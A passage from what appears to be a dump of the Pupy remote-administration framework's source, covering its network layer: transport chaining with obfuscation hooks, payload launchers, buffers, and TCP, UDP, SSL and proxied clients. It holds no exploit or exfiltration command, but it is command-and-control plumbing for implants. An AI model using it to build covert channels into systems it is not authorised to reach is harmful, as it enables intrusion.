    "content": "# -*- encoding: utf-8 -*-\n\n# Event (cond var) is simply to complex for our dumb case\n# for c in ( Event, Ack ):\n#     start = time.time()\n#     for x in xrange(1000000):\n#         a = c()\n#         a.is_set()\n#         a.set()\n#         a.wait()\n#     print c, time.time() - start\n#\n# <function Event at 0x7fc42a3681b8> 14.4261770248\n# <class '__main__.Ack'> 3.26524806023\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['Ack']\n\nfrom threading import Lock\nfrom time import time, sleep\n\n\nclass Ack(object):\n    \"\"\" Dumb (and fast, and unsafe) event replacement \"\"\"\n\n    __slots__ = ('_lock', '_is_set', '_wait_lock')\n\n    def __init__(self):\n        self._lock = Lock()\n        self._is_set = None\n        self._wait_lock = None\n\n    def is_set(self):\n        with self._lock:\n            return self._is_set is True\n\n    def set(self):\n        with self._lock:\n            if self._is_set is False and self._wait_lock:\n                self._wait_lock.release()\n\n            self._is_set = True\n\n    def wait(self, timeout=None, probe=0.5):\n        if not timeout:\n            with self._lock:\n                if self._is_set:\n                    return True\n\n                elif self._is_set is None:\n                    self._is_set = False\n                    self._wait_lock = Lock()\n                    self._wait_lock.acquire()\n\n                else:\n                    raise ValueError('Already in wait state!')\n\n            self._wait_lock.acquire()\n\n            with self._lock:\n                self._wait_lock = None\n                return self._is_set is True\n\n        else:\n            with self._lock:\n                if self._is_set:\n                    return True\n\n            delay = 0.00005\n            prev = time()\n            while timeout > 0:\n                sleep(delay)\n                now = time()\n                timeout -= now - prev\n                prev = now\n                delay = min(timeout, probe, delay*2)\n\n                with self._lock:\n                    if self._is_set:\n                        return True\n\n            return False\n"
  },
  {
    "path": "pupy/network/lib/base.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\nclass ReleaseChainedTransport(Exception):\n    __slots__ = ()\n\n\nclass TransportSetupFailed(Exception):\n    __slots__ = ()\n\n\nclass BasePupyTransport(object):\n    __slots__ = (\n        'downstream', 'upstream', 'stream',\n        'cookie', 'closed'\n    )\n\n    def __init__(self, stream, **kwargs):\n        if stream is None:\n            upstream_peer = kwargs.get('upstream_peer', (\"127.0.0.1\", 443))\n            downstream_peer = kwargs.get('downstream_peer', (\"127.0.0.1\", 443))\n\n            self.downstream = Buffer(transport_func=addGetPeer(downstream_peer))\n            self.upstream = Buffer(transport_func=addGetPeer(upstream_peer))\n            self.stream = None\n        else:\n            self.downstream = stream.downstream\n            self.upstream = stream.upstream\n            self.stream = stream\n\n        self.cookie = None\n        self.closed = False\n\n    @classmethod\n    def customize(cls, **kwargs):\n        \"\"\" return a class with some existing attributes customized \"\"\"\n\n        for name, value in kwargs.items():\n            if name in [\"cookie\", \"upstream\", \"downstream\", \"stream\"]:\n                raise TransportError(\"you cannot customize the protected attribute %s\"%name)\n            if not hasattr(cls, name):\n                raise TransportError(\"Transport has no attribute %s\"%name)\n\n        NewSubClass = type(str('Customized_{}'.format(cls.__name__)), (cls,), kwargs)\n        return NewSubClass\n\n    @classmethod\n    def custom(cls, **kwargs):\n        return cls.customize(**kwargs)\n\n    @classmethod\n    def set(cls, **kwargs):\n        return cls.customize(**kwargs)\n\n    def close(self):\n        self.closed=True\n        try:\n            self.on_close()\n        except:\n            pass\n\n        try:\n            if self.stream:\n                self.stream.close()\n            else:\n                raise EOFError()\n        except:\n            raise EOFError()\n\n    def on_connect(self):\n        \"\"\"\n            We just established a connection. Handshake time ! :-)\n        \"\"\"\n        if hasattr(self, 'circuitConnected'):\n            \"\"\" obfsproxy style alias \"\"\"\n            return self.circuitConnected()\n\n    def on_close(self):\n        \"\"\"\n            called when the connection has been closed\n        \"\"\"\n        if hasattr(self, 'circuitDestroyed'):\n            \"\"\" obfsproxy style alias \"\"\"\n            return self.circuitDestroyed()\n\n    def downstream_recv(self, data):\n        \"\"\"\n            receiving obfuscated data from the remote client and writing deobfuscated data to downstream\n        \"\"\"\n        if hasattr(self, 'receivedDownstream'):\n            \"\"\" obfsproxy style alias \"\"\"\n            return self.receivedDownstream(data)\n        raise NotImplementedError()\n\n    def upstream_recv(self, data):\n        \"\"\"\n            receiving clear-text data from local rpyc Stream and writing obfuscated data to upstream\n        \"\"\"\n        if hasattr(self, 'receivedUpstream'):\n            return self.receivedUpstream(data)\n            \"\"\" obfsproxy style alias \"\"\"\n        raise NotImplementedError()\n\n\nclass BaseTransport(BasePupyTransport):\n    \"\"\" obfsproxy style alias \"\"\"\n    __slots__ = ()\n\n\nclass TransportError(Exception):\n    __slots__ = ()\n\n\nclass PluggableTransportError(Exception):\n    __slots__ = ()\n\n\nfrom .buffer import Buffer\nfrom .streams.PupySocketStream import addGetPeer\n\nfrom pupy.network.lib import getLogger\nlogger = getLogger('chain')\n\n\nclass TransportWrapper(BasePupyTransport):\n\n    __slots__ = ('chain',)\n\n    cls_chain = ()\n\n    def __init__(self, stream, **kwargs):\n        super(TransportWrapper, self).__init__(stream, **kwargs)\n\n        kwargs.update({\n            'upstream_peer': self.upstream.transport.peer,\n            'downstream_peer': self.downstream.transport.peer\n        })\n\n        self.chain = [\n            klass(None, **kwargs) for klass in self.__class__._linearize()\n        ]\n\n        self._setup_callbacks()\n\n    def _setup_callbacks(self):\n        for idx, klass in enumerate(self.chain):\n            klass.upstream.on_write_f = self._generate_write_callback(\n                klass.upstream, idx, up=True)\n\n            klass.downstream.on_write_f = self._generate_write_callback(\n                klass.downstream, idx, up=False)\n\n    @classmethod\n    def _linearize(cls):\n        for klass in cls.cls_chain:\n            if issubclass(klass, TransportWrapper):\n                for subklass in klass.cls_chain:\n                    yield subklass\n            else:\n                yield klass\n\n    def _generate_write_callback(self, buffer, idx, up=False):\n        if up:\n            return lambda: self.downstream_recv(buffer, idx+1)\n        else:\n            return lambda: self.upstream_recv(buffer, idx-1)\n\n    def on_connect(self):\n        for klass in self.chain:\n            klass.on_connect()\n\n    def on_close(self):\n        for klass in self.chain:\n            klass.on_close()\n\n    def close(self):\n        for klass in self.chain:\n            try:\n                klass.close()\n            except:\n                pass\n\n        super(TransportWrapper, self).close()\n\n    def downstream_recv(self, data, idx=0):\n        if __debug__:\n            logger.debug('downstream: recv=%s/%s',\n                len(data) if data else None, idx)\n\n        if not len(data):\n            return\n\n        if idx > len(self.chain) - 1:\n            data.write_to(self.upstream)\n        else:\n            try:\n                self.chain[idx].downstream_recv(data)\n            except ReleaseChainedTransport:\n                del self.chain[idx]\n                self._setup_callbacks()\n\n    def upstream_recv(self, data, idx=None):\n        if __debug__:\n            logger.debug('upstream: recv=%s/%s',\n                len(data) if data else None, idx)\n\n        if not len(data):\n            return\n\n        if idx is None:\n            idx = len(self.chain) - 1\n\n        if idx < 0:\n            data.write_to(self.downstream)\n        else:\n            self.chain[idx].upstream_recv(data)\n\n\ndef chain_transports(*args):\n    \"\"\" chain 2 or more transports in such a way that the first argument is the transport seen at network level like t1(t2(t3(...(raw_data)...)))\"\"\"\n    if len(args)<2:\n        raise ValueError(\"chain_transports needs at least 2 transports !\")\n\n    class WrappedTransport(TransportWrapper):\n        cls_chain = list(args)\n\n    return WrappedTransport\n"
  },
  {
    "path": "pupy/network/lib/base_launcher.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\"\"\"\nlaunchers bring an abstraction layer over transports to allow pupy payloads to try multiple transports until one succeed or perform custom actions on their own.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'LauncherError', 'LauncherArgumentParser', 'BaseLauncher'\n)\n\nimport argparse\n\nfrom .compat import with_metaclass\n\n\nclass LauncherError(Exception):\n    __slots__ = ()\n\n\nclass LauncherArgumentParser(argparse.ArgumentParser):\n    __slots__ = ()\n\n    def __init__(self, *args, **kwargs):\n        argparse.ArgumentParser.__init__(self, *args, **kwargs)\n\n    def exit(self, status=0, message=None):\n        raise LauncherError(message)\n\n    def error(self, message):\n        self.exit(2, str('%s: error: %s\\n') % (self.prog, message))\n\n\nclass BaseLauncherMetaclass(type):\n    def __init__(self, *args, **kwargs):\n        super(BaseLauncherMetaclass, self).__init__(*args, **kwargs)\n        self.init_argparse()\n\n\nclass BaseLauncher(with_metaclass(BaseLauncherMetaclass)):\n    arg_parser = None\n    name = None\n\n    __slots__ = (\n        'args', 'host', 'hostname', 'port',\n        '_transport', 'proxies', '_default_transport'\n    )\n\n    def __init__(self):\n        self.args = None\n        self.reset_connection_info()\n        self._default_transport = None\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = LauncherArgumentParser(\n            prog=cls.__name__, description=cls.__doc__)\n\n    def iterate(self):\n        ''' iterate must be an iterator returning rpyc stream instances '''\n        raise NotImplementedError('iterate launcher\\'s method needs to be implemented')\n\n    def parse_args(self, args):\n        if not self.args:\n            self.args = self.arg_parser.parse_args(args)\n\n        if hasattr(self.args, 'transport'):\n            self.set_default_transport(self.args.transport)\n\n    def set_default_transport(self, transport):\n        self._default_transport = transport\n\n    @property\n    def transport(self):\n        return self._transport or self._default_transport\n\n    def set_connection_info(self, hostname, host, port, proxies, transport=None):\n        self.hostname = hostname\n        self.host = host\n        self.port = port\n        self.proxies = proxies\n        self._transport = transport\n\n    def reset_connection_info(self):\n        self.hostname = None\n        self.host = None\n        self.port = None\n        self.proxies = None\n        self._transport = None\n"
  },
  {
    "path": "pupy/network/lib/buffer.py",
    "content": "# -*- encoding: utf-8 -*-\n\n# Using the same buffer object as in obfsproxy to enhance compatibility\n# some modifications brings to have waiting capabilities\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'Buffer',\n    'DEFAULT_FORCED_FLUSH_BUFFER_SIZE',\n    'DEFAULT_MAX_STR_SIZE'\n)\n\nimport zlib\n\nfrom threading import Lock, Event\nfrom traceback import format_stack\n\nfrom . import getLogger\n\nlogger = getLogger('buffer')\n\nDEFAULT_FORCED_FLUSH_BUFFER_SIZE = 32768\nDEFAULT_MAX_STR_SIZE = 4096\n\n\nclass Buffer(object):\n    \"\"\"\n    A Buffer is a simple FIFO buffer. You write() stuff to it, and you\n    read() them back. You can also peek() or drain() data.\n    \"\"\"\n\n    __slots__ = (\n        '_data', '_len', '_bofft',\n        'on_write_f', 'data_lock', 'waiting', 'transport', 'cookie',\n        'chunk_size', 'compressor'\n    )\n\n    ALLOW_BUFFER_AS_DATA = True\n\n    @staticmethod\n    def _check_suppored_data_type(data):\n        if not isinstance(data, (memoryview, bytearray, bytes, Buffer)):\n            logger.error('Buffer: unsupported data type ({}) at {}'.format(\n                type(data), format_stack()))\n\n            raise TypeError('Buffer: unsupported data type ({}): {}'.format(\n                type(data), repr(data)))\n\n    def __init__(self, data='', on_write=None, transport_func=None, truncate=False,\n                 chunk_size=None, compressed=False, shared=False):\n        \"\"\"\n        Initialize a buffer with 'data'.\n        \"\"\"\n        self._data = []\n        self._len = 0\n\n        self._bofft = 0\n\n        self.on_write_f = on_write\n        self.data_lock = Lock()\n        self.waiting = Event() if shared else None\n        self.transport = transport_func\n        self.cookie = None\n        self.chunk_size = None\n        self.compressor = None\n        if compressed:\n            self.compressor = zlib.compressobj(\n                compressed if type(compressed) is int else 9\n            )\n\n            if data:\n                data = self.compressor.compress(data)\n\n        if data:\n            if __debug__:\n                Buffer._check_suppored_data_type(data)\n\n            self._data.append(data)\n            self._len += len(data)\n\n    def __enter__(self):\n        self.data_lock.acquire()\n\n    def __exit__(self, *exc):\n        self.data_lock.release()\n\n    def copy(self):\n        buf = Buffer()\n        buf._data = list(self._data)\n        buf._len = self._len\n        buf._bofft = self._bofft\n        return buf\n\n    def on_write(self):\n        if self.on_write_f:\n            self.on_write_f()\n\n        if self.waiting:\n            self.waiting.set()\n\n    def wait(self, timeout=0.1, at_least=0, force=False):\n        \"\"\" wait for a size \"\"\"\n\n        if not force and self._len > at_least:\n            return True\n        elif self.waiting is not None:\n            self.waiting.clear()\n        else:\n            raise ValueError('Bufer should be shared to use wait()')\n\n        self.waiting.wait(timeout)\n        return self._len > 0\n\n    def wake(self):\n        if not self.waiting:\n            raise ValueError('Bufer should be shared to use wake()')\n\n        self.waiting.set()\n\n    def _linearize(self, upto=None):\n        if upto is None:\n            upto = self._len\n\n        if len(self._data) < 2 or upto <= len(self._data[0]) - self._bofft:\n            return\n\n        free = 0\n        to_alloc = 0\n\n        # Estimate size:\n        for idx, chunk in enumerate(self._data):\n            lchunk = len(chunk)\n            if idx == 0 and self._bofft > 0:\n                lchunk -= self._bofft\n\n            to_alloc += lchunk\n            if to_alloc >= upto:\n                break\n\n        upto = to_alloc\n\n        linearized = bytearray(upto)\n        offset = 0\n\n        for idx, chunk in enumerate(self._data):\n            lchunk = len(chunk)\n\n            if idx == 0 and self._bofft > 0:\n                lchunk -= self._bofft\n                linearized[offset:offset + lchunk] = chunk[self._bofft:]\n                self._bofft = 0\n            else:\n                linearized[offset:offset+lchunk] = chunk\n\n            self._data[idx] = None\n\n            free += 1\n            upto -= lchunk\n            offset += lchunk\n\n            if not upto:\n                break\n\n        self._data[0] = linearized\n\n        if free:\n            del self._data[1:free]\n\n    def _obtain(self, n=-1, view=False, release=False):\n        \"\"\"\n        Return 'n' bytes from the buffer, without draining them.\n\n        If 'n' is negative, return the whole buffer.\n        If 'n' is larger than the size of the buffer, return the whole\n        buffer.\n        \"\"\"\n\n        if not self._len:\n            return ''\n\n        elif n < 0 or n > self._len:\n            n = self._len\n\n        if n == 0:\n            return ''\n\n        mdata = None\n\n        self._linearize(upto=n)\n\n        if view:\n            try:\n                mdata = memoryview(self._data[0])[self._bofft:self._bofft+n]\n            except TypeError:\n                # Fallback\n                mdata = bytes(self._data[0][self._bofft:self._bofft+n])\n        else:\n            mdata = bytes(self._data[0][self._bofft:self._bofft+n])\n\n        if release:\n            if self._bofft+n == len(self._data[0]):\n                del self._data[0]\n                self._bofft = 0\n            else:\n                self._bofft += n\n\n            self._len -= n\n\n        return mdata\n\n    def read(self, n=-1, view=False):\n        \"\"\"\n        Read and return 'n' bytes from the buffer.\n\n        If 'n' is negative, read and return the whole buffer.\n        If 'n' is larger than the size of the buffer, read and return\n        the whole buffer.\n        \"\"\"\n\n        return self._obtain(n, view, True)\n\n    def insert(self, data):\n        if self.compressor:\n            raise ValueError('Insert is not supported for compressed buffers')\n\n        if __debug__:\n            Buffer._check_suppored_data_type(data)\n\n        ldata = len(data)\n        if self._bofft:\n            if type(self._data[0]) in (bytearray, memoryview) and ldata <= self._bofft:\n                new_bofft = self._bofft - ldata\n                self._data[0][new_bofft:self._bofft] = data\n                self._bofft = new_bofft\n            else:\n                newelem = bytearray(len(self._data[0])-self._bofft+ldata)\n                newelem[:ldata] = data\n                newelem[ldata:] = self._data[0][self._bofft:]\n                self._data[0] = newelem\n                self._bofft = 0\n        else:\n            self._data.insert(0, data)\n\n        self._len += ldata\n\n    def truncate(self, newlen):\n        if self._len == newlen:\n            return\n\n        if newlen < 0:\n            newlen = self._len + newlen\n\n        if newlen <= 0:\n            del self._data[:]\n            self._len = 0\n\n        elif self._len < newlen:\n            self._data.append(b'\\x00'*(newlen - self._len))\n            self._len = newlen\n\n        else:\n            lendiff = self._len - newlen\n            while lendiff:\n                clen = len(self._data[-1])\n                offt = 0\n\n                if len(self._data) == 1:\n                    offt = self._bofft\n                    clen -= offt\n\n                if clen <= lendiff:\n                    del self._data[-1]\n                    lendiff -= clen\n                else:\n                    newchunklen = clen - lendiff\n                    self._data[-1] = self._data[-1][offt:offt+newchunklen]\n                    if offt:\n                        self._bofft -= offt\n\n                    lendiff = 0\n\n            self._len = newlen\n\n    def __iadd__(self, data):\n        if __debug__:\n            Buffer._check_suppored_data_type(data)\n\n        self.append(data)\n        return self\n\n    def append(self, data):\n        if not data:\n            return\n\n        if __debug__:\n            Buffer._check_suppored_data_type(data)\n\n        if isinstance(data, Buffer):\n            if self.compressor:\n                for chunk in data._data:\n                    chunk = self.compressor.compress(chunk)\n                    self._data.append(chunk)\n                    self._len += len(chunk)\n            else:\n                self._data += data._data\n                self._len += data._len\n        elif type(data) in (tuple, list):\n            for chunk in data:\n                if self.compressor:\n                    chunk = self.compressor.compress(chunk)\n\n                self._data.append(chunk)\n                self._len += len(chunk)\n        else:\n            if self.compressor:\n                data = self.compressor.compress(data)\n\n            if self._len and type(self._data[-1]) == type(data) and \\\n              len(self._data[-1]) + len(data) <= DEFAULT_MAX_STR_SIZE:\n                self._data[-1] += data\n            else:\n                self._data.append(data)\n\n            self._len += len(data)\n\n    def write(self, data, notify=True):\n        \"\"\"\n        Append 'data' to the buffer.\n        \"\"\"\n\n        if __debug__:\n            Buffer._check_suppored_data_type(data)\n\n\n        self.append(data)\n        if notify:\n            self.on_write()\n\n    def flush(self):\n        if self.compressor:\n            chunk = self.compressor.flush()\n            self._data.append(chunk)\n            self._len += len(chunk)\n\n        if self._len > 0:\n            self.on_write()\n\n    def write_to(self, stream, modificator=None, notify=True, view=False, chunk_size=None, full_chunks=False, n=None):\n        chunk_size = chunk_size or self.chunk_size\n        total_write = 0\n        total_read  = 0\n\n        if n is not None:\n            n = min(self._len, n)\n\n        forced_notify = True\n        if hasattr(stream, 'flush'):\n            forced_notify = False\n        else:\n            # Some old style thing, will copy anyway\n            view = True\n\n        idx = 0\n\n        if not forced_notify and not chunk_size:\n            for idx, chunk in enumerate(self._data):\n                bofft = 0\n\n                if self._bofft:\n                    chunk = chunk[self._bofft:]\n                    bofft = self._bofft\n                    self._bofft = 0\n\n                lchunk = len(chunk)\n\n                if n is not None:\n                    if total_read + lchunk > n:\n                        chunk = chunk[:n - total_read]\n                        self._bofft = bofft + n - total_read\n\n                total_read += len(chunk)\n\n                if modificator:\n                    chunk = modificator(bytes(chunk))\n\n                stream.write(chunk, notify=False)\n                total_write += len(chunk)\n\n                if n is not None and total_read >= n:\n                    break\n\n            self._len -= total_read\n            if self._bofft and idx > 0:\n                del self._data[:idx]\n            elif not self._bofft:\n                del self._data[:idx+1]\n        else:\n            # Old style interface. Better to send by big portions\n\n            if not chunk_size:\n                chunk_size = DEFAULT_FORCED_FLUSH_BUFFER_SIZE\n\n            to_read = n or self._len\n            while to_read:\n                if full_chunks and self._len < chunk_size:\n                    break\n\n                chunk = self._obtain(\n                    min(to_read, chunk_size),\n                    release=True, view=(not modificator) or view)\n\n                lchunk = len(chunk)\n                total_read += lchunk\n                to_read -= lchunk\n\n                if modificator:\n                    chunk = modificator(chunk)\n\n                if forced_notify:\n                    stream.write(chunk)\n                else:\n                    stream.write(chunk, notify=False)\n\n                total_write += len(chunk)\n\n        if notify and not forced_notify:\n            stream.flush()\n\n        return total_read, total_write\n\n    def peek(self, n=-1, view=False):\n        \"\"\"\n        Return 'n' bytes from the buffer, without draining them.\n\n        If 'n' is negative, return the whole buffer.\n        If 'n' is larger than the size of the buffer, return the whole\n        buffer.\n        \"\"\"\n\n        return self._obtain(n, view)\n\n    def drain(self, n=-1):\n        \"\"\"\n        Drain 'n' bytes from the buffer.\n\n        If 'n' is negative, drain the whole buffer.\n        If 'n' is larger than the size of the buffer, drain the whole\n        buffer.\n        \"\"\"\n\n        if n < 0 or n > self._len:\n            n = self._len\n\n        if n == 0:\n            return\n\n        elif n == self._len:\n            del self._data[:]\n            self._len = 0\n            self._bofft = 0\n\n        elif n < len(self._data[0]) - self._bofft:\n            self._bofft += n\n            self._len -= n\n        else:\n            todel = 0\n            for idx, chunk in enumerate(self._data):\n                lchunk = len(chunk)\n                if idx == 0 and self._bofft:\n                    lchunk -= self._bofft\n\n                if n >= lchunk:\n                    self._len -= lchunk\n                    self._bofft = 0\n\n                    todel += 1\n                    n -= lchunk\n                else:\n                    self._bofft = n\n                    self._len -= n\n                    break\n\n            del self._data[:todel]\n\n    def chunksinfo(self):\n        result = ''\n        if self._bofft:\n            result = \"+{}:\".format(self._bofft)\n\n        result += ','.join(\n            '{}:{}'.format(len(x), type(x).__name__) for x in self._data)\n\n        return '<Buffer: {}>'.format(result)\n\n    def __len__(self):\n        \"\"\"Returns length of buffer. Used in len().\"\"\"\n        return self._len\n\n    def __nonzero__(self):\n        \"\"\"\n        Returns True if the buffer is non-empty.\n        Used in truth-value testing.\n        \"\"\"\n        return bool(self._len)\n"
  },
  {
    "path": "pupy/network/lib/clients.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'PupyClient',\n    'PupyTCPClient',\n    'PupyUDPClient',\n    'PupyProxifiedTCPClient',\n    'PupySSLClient',\n    'PupyProxifiedSSLClient'\n)\n\nimport socket\nimport ssl\nimport tempfile\nimport os\nimport logging\n\nfrom . import getLogger\n\ntry:\n    from . import socks\nexcept ImportError as e:\n    logging.warning('%s: socks module disabled, auto_connect unavailable', e)\n    socks = None\n\nlogger = getLogger('clients')\n\n\nclass PupyClient(object):\n    def connect(self, host, port, timeout=4):\n        \"\"\" return a socket after connection \"\"\"\n        raise NotImplementedError(\"connect not implemented\")\n\n\nclass PupyAsyncClient(object):\n    def connect(self, host, port, timeout=10):\n        self.host = host\n        self.port = port\n        self.timeout = timeout\n        return self.host, self.port, self.timeout\n\n\nclass PupyTCPClient(PupyClient):\n    def __init__(\n        self, family=socket.AF_UNSPEC, socktype=socket.SOCK_STREAM,\n            timeout=4, nodelay=False, keepalive=True):\n\n        super(PupyTCPClient, self).__init__()\n        self.sock = None\n\n        self.family = family\n        self.socktype = socktype\n        self.timeout = timeout\n        self.nodelay = nodelay\n        self.keepalive = keepalive\n\n    def connect(self, host, port):\n        family, socktype, proto, _, sockaddr = socket.getaddrinfo(\n            host, port, self.family, self.socktype)[0]\n\n        s = socket.socket(family, socktype, proto)\n        s.settimeout(self.timeout)\n\n        logger.debug('Connect: %s, timeout=%d', sockaddr, self.timeout)\n\n        s.connect(sockaddr)\n\n        if self.nodelay:\n            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n\n        if self.keepalive:\n            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n            # Linux specific: after 1 idle minutes, start sending keepalives\n            # every 5 minutes.\n            # Drop connection after 10 failed keepalives\n\n        if hasattr(socket, \"TCP_KEEPIDLE\") and hasattr(\n                socket, \"TCP_KEEPINTVL\") and hasattr(socket, \"TCP_KEEPCNT\"):\n            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)\n            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)\n            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)\n\n        elif hasattr(socket, \"SIO_KEEPALIVE_VALS\") and hasattr(s, 'ioctl'):\n            s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 1*60*1000, 5*60*1000))\n\n        self.sock = s\n\n        logger.debug('Connected to: %s, socket=%s', sockaddr, s)\n\n        return s\n\n\nclass PupyProxifiedTCPClient(PupyTCPClient):\n    def __init__(self, *args, **kwargs):\n        self.proxies = kwargs.pop('proxies', None)\n        if self.proxies is None:\n            raise ValueError('proxies must be specified')\n\n        super(PupyProxifiedTCPClient, self).__init__(*args, **kwargs)\n\n    def connect(self, host, port):\n        s = socks.socksocket()\n\n        logger.debug(\n            'Connect to: %s:%d timeout=%d via proxies',\n            host, port, self.timeout)\n\n        for proxy in self.proxies:\n            proxy_addr = proxy.addr\n            proxy_port = None\n\n            if ':' in proxy_addr:\n                proxy_addr, proxy_port = proxy_addr.rsplit(':', 1)\n                proxy_port = int(proxy_port)\n\n            logger.debug(\n                'Connect via %s:%s (type=%s%s)',\n                proxy_addr, proxy_port or 'default', proxy.type,\n                ' auth={}:{}'.format(\n                    proxy.username, proxy.password\n                ) if proxy.username else '')\n\n            s.add_proxy(\n                proxy_type=proxy.type,\n                addr=proxy_addr,\n                port=proxy_port,\n                rdns=True,\n                username=proxy.username,\n                password=proxy.password\n            )\n\n        s.settimeout(self.timeout)\n        s.connect((host, port))\n\n        self.sock = s\n\n        logger.debug(\n            'Connected to: %s:%d: %s', host, port, s)\n\n        return s\n\n\nclass PupySSLClient(PupyTCPClient):\n    def __init__(self, *args, **kwargs):\n        self.ssl_auth = kwargs.pop('ssl_auth', True)\n        self.hostname = kwargs.pop('hostname', None)\n\n        if self.ssl_auth:\n            self.cert_reqs = ssl.CERT_REQUIRED\n\n            try:\n                import pupy_credentials\n\n                self.SSL_CLIENT_CERT = pupy_credentials.SSL_CLIENT_CERT\n                self.SSL_CLIENT_KEY = pupy_credentials.SSL_CLIENT_KEY\n                self.SSL_CA_CERT = pupy_credentials.SSL_CA_CERT\n                self.ROLE = 'CLIENT'\n\n            except ImportError:\n                from pupy.pupylib.PupyCredentials import Credentials\n\n                credentials = Credentials()\n                self.SSL_CLIENT_CERT = credentials['SSL_CLIENT_CERT']\n                self.SSL_CLIENT_KEY = credentials['SSL_CLIENT_KEY']\n                self.SSL_CA_CERT = credentials['SSL_CA_CERT']\n                self.ROLE = credentials.role\n        else:\n            self.cert_reqs = ssl.CERT_NONE\n\n        self.ciphers = 'HIGH:!aNULL:!MD5:!RC4:!3DES:!DES'\n        self.ssl_version = ssl.PROTOCOL_SSLv23\n\n        super(PupySSLClient, self).__init__(*args, **kwargs)\n\n    def connect(self, host, port):\n        if self.ssl_auth:\n            return self.connect_pupy(host, port)\n        else:\n            return self.connect_any(host, port)\n\n    def connect_any(self, host, port):\n        socket = super(PupySSLClient, self).connect(host, port)\n\n        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS)\n        ctx.verify_mode = ssl.CERT_NONE\n        ctx.check_hostname = False\n\n        return ctx.wrap_socket(\n            socket,\n            server_hostname=self.hostname or host\n        )\n\n    def connect_pupy(self, host, port):\n        socket = super(PupySSLClient, self).connect(host, port)\n        try:\n            fd_cert_path, tmp_cert_path = tempfile.mkstemp()\n            fd_key_path, tmp_key_path = tempfile.mkstemp()\n            fd_ca_path, tmp_ca_path = tempfile.mkstemp()\n            os.write(fd_cert_path, self.SSL_CLIENT_CERT)\n            os.close(fd_cert_path)\n            os.write(fd_key_path, self.SSL_CLIENT_KEY)\n            os.close(fd_key_path)\n            os.write(fd_ca_path, self.SSL_CA_CERT)\n            os.close(fd_ca_path)\n        except Exception as e:\n            logging.error(\"Error writing certificates to temp file %s\", e)\n            raise e\n\n        try:\n            wrapped_socket = ssl.wrap_socket(\n                socket,\n                keyfile=tmp_key_path,\n                certfile=tmp_cert_path,\n                ca_certs=tmp_ca_path,\n                server_side=False,\n                cert_reqs=self.cert_reqs,\n                ssl_version=self.ssl_version,\n                ciphers=self.ciphers\n            )\n\n        finally:\n            os.unlink(tmp_cert_path)\n            os.unlink(tmp_key_path)\n            os.unlink(tmp_ca_path)\n\n        peer = wrapped_socket.getpeercert()\n\n        peer_role = ''\n\n        for (item) in peer['subject']:\n            if item[0][0] == 'organizationalUnitName':\n                peer_role = item[0][1]\n\n        if not (self.ROLE == 'CLIENT' and peer_role == 'CONTROL' or\n                self.ROLE == 'CONTROL' and peer_role == 'CLIENT'):\n            raise ValueError('Invalid peer role: {}'.format(peer_role))\n\n        return wrapped_socket\n\n\nclass PupyProxifiedSSLClient(PupySSLClient, PupyProxifiedTCPClient):\n    pass\n\n\nclass PupyUDPClient(PupyClient):\n    def __init__(\n        self, family=socket.AF_UNSPEC,\n            socktype=socket.SOCK_DGRAM, timeout=3):\n        self.sock = None\n        super(PupyUDPClient, self).__init__()\n        self.family = family\n        self.socktype = socktype\n        self.timeout = timeout\n\n    def connect(self, host, port):\n        family, socktype, proto, _, sockaddr = socket.getaddrinfo(\n            host, port, self.family, self.socktype\n        )[0]\n\n        s = socket.socket(family, socktype, proto)\n        s.settimeout(self.timeout)\n        s.connect(sockaddr)\n        s.setblocking(0)\n\n        self.sock = s\n        self.host = host\n        self.port = port\n\n        return s, (host, port)\n"
  },
  {
    "path": "pupy/network/lib/compat.py",
    "content": "'''\ncompatibility module for various versions of python (2.4/3+/jython)\nand various platforms (posix/windows)\n'''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'is_py3k', 'maxint',\n    'Struct', 'BytesIO', 'pickle', 'callable',\n    'select_module', 'select', 'get_exc_errno',\n    'select_error', 'poll', 'xrange',\n    'is_str', 'is_int', 'is_bin',\n    'as_byte', 'as_native_string'\n)\n\n\nimport sys\nimport time\n\nfrom pupy.network.lib.convcompat import as_native_string\n\nis_py3k = (sys.version_info[0] >= 3)\n\nif is_py3k:\n    exec('execute = exec')\n\n    maxint = sys.maxsize\n    xrange = range\n\n    def is_int(value):\n        return isinstance(value, int)\n\n    def is_str(value):\n        return isinstance(value, str)\n\n    def as_byte(value):\n        return bytes((value,))\n\nelse:\n    from __builtin__ import xrange\n\n    exec('''def execute(code, globals = None, locals = None):\n                exec code in globals, locals''')\n\n    maxint = sys.maxsize\n\n    def is_int(value):\n        return isinstance(value, (int, long))\n\n    def is_str(value):\n        return isinstance(value, basestring)\n\n    def as_byte(value):\n        return chr(value)\n\n\ndef is_bin(value):\n    return isinstance(value, (bytes, bytearray, memoryview))\n\n\ntry:\n    from struct import Struct\n\nexcept ImportError:\n    import struct\n\n    class Struct(object):\n\n   